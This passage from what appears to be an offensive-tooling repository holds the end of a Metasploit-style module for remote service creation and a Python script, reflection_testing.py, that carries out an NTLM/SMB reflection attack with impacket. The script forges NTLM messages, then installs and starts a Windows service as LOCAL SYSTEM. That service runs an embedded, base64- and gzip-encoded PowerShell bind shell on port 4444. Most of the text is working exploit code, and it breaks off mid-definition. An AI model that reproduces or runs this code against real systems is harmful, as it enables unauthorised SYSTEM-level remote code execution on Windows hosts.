dcerpc! 282 | svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts) 283 | print_status("Attempting to start service, error is normal") 284 | svc_status = svc_client.startservice(svc_handle) 285 | case svc_status 286 | when ERROR_SUCCESS 287 | print_status("#{peer} - Service started successfully...") 288 | when ERROR_FILE_NOT_FOUND 289 | print_error("#{peer} - Service failed to start - FILE_NOT_FOUND") 290 | when ERROR_ACCESS_DENIED 291 | print_error("#{peer} - Service failed to start - ACCESS_DENIED") 292 | when ERROR_SERVICE_REQUEST_TIMEOUT 293 | print_status("#{peer} - Service start timed out, OK if running a command or non-service executable...") 294 | else 295 | print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}") 296 | end # end case 297 | if datastore['SERVICE_PERSIST'] 298 | print_warning("#{peer} - Not removing service for persistance...") 299 | else 300 | vprint_status("#{peer} - Removing the service...") 301 | svc_status = svc_client.deleteservice(svc_handle) 302 | if svc_status == ERROR_SUCCESS 303 | vprint_good("#{peer} - Successfully removed the sevice") 304 | else 305 | print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}") 306 | end 307 | end 308 | ensure 309 | vprint_status("#{peer} - Closing service handle... and killing the socket") 310 | svc_client.closehandle(svc_handle) 311 | end 312 | end 313 | end 314 | 315 | -------------------------------------------------------------------------------- /reflection_testing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Use npcap for sniffing local traffic 3 | # The setting to "defend" yourself 4 | # Set-Itemproperty -Path HKLM:System\CurrentControlSet\Services\LanManServer\Parameters -name "RequireSecuritySignature" -value 1 5 | import socket 6 | import argparse 7 | import sys 8 | import time 9 | import thread 10 | import subprocess 11 | import re 12 | # For http 13 | import SimpleHTTPServer 14 | import SocketServer 15 | # For impacket 16 | from impacket.ntlm import * 17 | from impacket import smb3 18 | from impacket.smb3structs import * 19 | from impacket.smbconnection import * 20 | from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech 21 | # For TSCH and powershell method 22 | from impacket.dcerpc.v5 import tsch, transport, scmr 23 | from impacket.dcerpc.v5.dtypes import NULL 24 | 25 | from impacket.examples import serviceinstall 26 | from threading import Thread 27 | # import atexec 28 | DEBUG = False 29 | 30 | 31 | 32 | ############################################################################################# 33 | ############################################################################################# 34 | # windows/powershell_bind_tcp port 4444 made with metasploit psexec_psh 35 | pshell_command = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''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''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);" 36 | ############################################################################################# 37 | 38 | # add your own here or with -c "powershell.exe -window hidden -enc JAAHxAA" .. there is a chr limit 39 | pshell_base = "%COMSPEC% /b /c start /b /min " 40 | 41 | ############################################################################################# 42 | ############################################################################################# 43 | ############################################################################################# 44 | class do_smb_attack(Thread): 45 | def __init__(self, SMBClient, execom): 46 | Thread.__init__(self) 47 | self.installService = serviceinstall.ServiceInstall(SMBClient, execom) 48 | 49 | def run(self): 50 | # Here PUT YOUR CODE! 51 | result = self.installService.install() 52 | if result is True: 53 | print("Service Installed.. CONNECT!") 54 | self.installService.uninstall() 55 | 56 | 57 | class do_pshell_attack(Thread): 58 | def __init__(self, SMBClient): 59 | Thread.__init__(self) 60 | self.daemon = True 61 | self.connection = SMBClient 62 | 63 | def Opensvc(self): 64 | _rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection) 65 | self.rpcsvc = _rpctransport.get_dce_rpc() 66 | self.rpcsvc.connect() 67 | self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) 68 | try: 69 | # open a handle to the scmanager 70 | resp = scmr.hROpenSCManagerW(self.rpcsvc) 71 | except: 72 | print("Couldnt open SVCManager") 73 | return resp['lpScHandle'] 74 | 75 | def run(self): 76 | #if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): 77 | self.connection = SMBConnection(existingConnection = self.connection.getSMBServer()) # lower_level smb connection needed 78 | self.__service_name = 'WindowsTempService111' 79 | # Open the servicemanager via rpc over smb and return the handle 80 | self.svcManager = self.Opensvc() 81 | try: 82 | # try and open the service 83 | resp = scmr.hROpenServiceW(self.rpcsvc, self.svcManager, self.__service_name+'\x00') 84 | temp_handle = resp['lpServiceHandle'] 85 | except Exception, e: 86 | if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: 87 | # We're good, pass the exception 88 | pass 89 | else: 90 | raise e 91 | else: 92 | # delete it if it is already there! 93 | scmr.hRDeleteService(self.rpcsvc, temp_handle) 94 | scmr.hRCloseServiceHandle(self.rpcsvc, temp_handle) 95 | 96 | try: 97 | # create the service 98 | # The powershell command goes here btw, default or otherwise 99 | resp = scmr.hRCreateServiceW(self.rpcsvc, self.svcManager, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName = pshell_command + '\x00') 100 | # The services handle 101 | service_handle = resp['lpServiceHandle'] 102 | except: 103 | if DEBUG: print("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) 104 | raise 105 | else: 106 | pass 107 | #return resp['lpServiceHandle'] 108 | 109 | try: 110 | # Start the service 111 | print("Starting the service we created as LOCAL SYSTEM") 112 | scmr.hRStartServiceW(self.rpcsvc, service_handle) 113 | # close the service handle and service manager handle 114 | scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) 115 | scmr.hRCloseServiceHandle(self.rpcsvc, self.svcManager) 116 | except Exception, e: 117 | # It is normal to timeout starting, im not sure why tho! 118 | pass 119 | 120 | 121 | try: 122 | # Stop the service 123 | self.svcManager2 = self.Opensvc() 124 | resp = scmr.hROpenServiceW(self.rpcsvc, self.svcManager2, self.__service_name+'\x00') 125 | service_handle_del = resp['lpServiceHandle'] 126 | scmr.hRControlService(self.rpcsvc, service_handle_del, scmr.SERVICE_CONTROL_STOP) 127 | except: 128 | # not a big deal it should be stopped already 129 | pass 130 | try: 131 | # Delete the service 132 | scmr.hRDeleteService(self.rpcsvc, service_handle_del) 133 | # Close the service handle 134 | scmr.hRCloseServiceHandle(self.rpcsvc, service_handle_del) 135 | # Close the scm handle 136 | scmr.hRCloseServiceHandle(self.rpcsvc, self.svcManager2) 137 | print("Attack is finished!") 138 | except Exception, e: 139 | # Pass it dont matter if it doesnt delete 140 | print "error occored" 141 | print e 142 | pass 143 | 144 | def attack_caller(con): 145 | # <~~~ This is where you can add your own attack if you want! ~~~> 146 | if attack == 1: 147 | if DEBUG: print("Starting powershell service start") 148 | t = do_pshell_attack(con) 149 | t.start() 150 | elif attack == 2: 151 | if DEBUG: print("Starting powershell service start") 152 | t = do_pshell_attack(con) 153 | t.start() 154 | elif attack == 3: 155 | if DEBUG: print("Starting SMB upload and service start") 156 | t = do_smb_attack(con,execom) 157 | t.start() 158 | elif attack == 4: 159 | print "not yet" 160 | 161 | ##################################################### 162 | ##################################################### 163 | # Here we call our connection and return the hash2 164 | def send_smb(hash): 165 | if DEBUG: print("Making the smb, connection.") 166 | client = SMBClient2(target) 167 | if DEBUG: print("SMB connection made to target %s" % target) 168 | hash2recv = client.send_hash1(hash) 169 | return hash2recv, client 170 | 171 | 172 | 173 | # This is how we do the smb connection, its ripped from impacket and not the "cleanest" way 174 | class SMBClient2(SMBConnection): 175 | def __init__(self, remote_name, sess_port = 445, preferredDialect = SMB2_DIALECT_21): 176 | # User the upper level SMBConnection for the negotiate, "usefull for the payloads" 177 | SMBConnection.__init__(self ,remote_name, remote_name, sess_port=sess_port, preferredDialect = SMB2_DIALECT_21) 178 | # Get the lower level smb3 context for all the hash stuff 179 | self.low_level = self.getSMBServer() 180 | 181 | def send_hash3(self, servChallenge, authenticateMessageBlob): 182 | # servChallenge is nothing for now but needed for signing ? 183 | # We can reuse sessionSetup from sendNegotiate 184 | respToken2 = SPNEGO_NegTokenResp() 185 | respToken2['ResponseToken'] = str(authenticateMessageBlob) 186 | sessionSetup['SecurityBufferLength'] = len(respToken2) 187 | sessionSetup['Buffer'] = respToken2.getData() 188 | # Setup a new packet struct! 189 | packet = self.low_level.SMB_PACKET() 190 | packet['Command'] = SMB2_SESSION_SETUP 191 | packet['Data'] = sessionSetup 192 | # if DEBUG: print("Dumping packet: %s", packet.dump()) 193 | packetID = self.low_level.sendSMB(packet) 194 | resp = self.low_level.recvSMB(packetID) 195 | # A better way to do this im sure 196 | try: 197 | error_code = resp.isValidAnswer(0x00000000) 198 | except: 199 | error_code = False 200 | print("Unable to login... try harder?") 201 | pass 202 | return error_code 203 | 204 | def send_hash1(self, negotiateMessage): 205 | global sessionSetup 206 | sessionSetup = SMB2SessionSetup() 207 | sessionSetup['Flags'] = 0 208 | blob = SPNEGO_NegTokenInit() 209 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 210 | # This is where we input the Hash1 211 | blob['MechToken'] = str(negotiateMessage) 212 | sessionSetup['SecurityBufferLength'] = len(blob) 213 | sessionSetup['Buffer'] = blob.getData() 214 | # sessionSetup['Parameters'].getData() 215 | packet = self.low_level.SMB_PACKET() 216 | packet['Command'] = SMB2_SESSION_SETUP # 0x0001 217 | packet['Data'] = sessionSetup 218 | # We send it here!! 219 | packetID = self.low_level.sendSMB(packet) 220 | resp = self.low_level.recvSMB(packetID) 221 | # use this sessionid for all furture requests 222 | self.low_level._Session['SessionID'] = resp['SessionID'] 223 | # Build our hash2 return 224 | sessionSetupResponse = SMB2SessionSetup_Response(resp['Data']) 225 | respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) 226 | return respToken['ResponseToken'] 227 | 228 | ##################################################### 229 | ##################################################### 230 | ##################################################### 231 | ##################################################### 232 | def make_hashes(hostname=False, dname=False): 233 | # This is how we make the hash1 and hash3, i messed with the flags so much i basically 234 | # gave up once it worked, if it needs retooling let me know 235 | h1 = NTLMAuthNegotiate() 236 | 237 | # We are setting our own hash1 flags 238 | h1flags = NTLMSSP_UNICODE | NTLMSSP_OEM | NTLMSSP_TARGET | NTLMSSP_LM_KEY | NTLMSSP_NTLM_KEY | NTLMSSP_DOMAIN | NTLMSSP_WORKSTATION | \ 239 | NTLMSSP_ALWAYS_SIGN | NTLMSSP_NTLM2_KEY | NTLMSSP_KEY_128 | NTLMSSP_KEY_56 240 | 241 | # NTLMSSP_KEY_EXCHANGE | NTLMSSP_VERSION | 242 | # version is win10 243 | # hash1['os_version'] = '\x0a\x00\x00\x28\x00\x00\x00\x0f' 244 | 245 | # This is how we set our host and domain, this seems to work but could cause issues. 246 | # Regardless you MUST MUST MUST!! have the correct host and domain. 247 | # Its the key to everything, if you send the correct host and domain then the system 248 | # will see it as a SMB localcall. 249 | 250 | h1['host_name'] = socket.gethostname() 251 | if socket.getfqdn() == socket.gethostname(): 252 | h1['domain_name'] = 'WORKGROUP' 253 | else: 254 | try: 255 | name = socket.getfqdn().split('.')[1].upper() 256 | h1['domain_name'] = name 257 | except: 258 | print "Error with the Domain name, try manually entering it." 259 | 260 | if hostname and dname: 261 | # add the option to input your own... rem00t! 262 | h1['host_name'] = hostname 263 | h1['domain_name'] = dname 264 | else: 265 | pass 266 | 267 | print("Using %s\\%s as Host\\Domain name" % (h1['host_name'], h1['domain_name'])) 268 | # Self explanitary and then we are done building hash1 269 | h1['flags'] = h1flags 270 | h1string = h1.getData() 271 | hash1 = str(h1string) 272 | 273 | ###### HASH3 ######### 274 | # Looking back this probaby wasnt the easiest way but it works 275 | # We define our own structure for the hash3, impacket's look different. 276 | class ntlmh3(Structure): 277 | structure = ( 278 | ('','"NTLMSSP\x00'), 279 | ('message_type','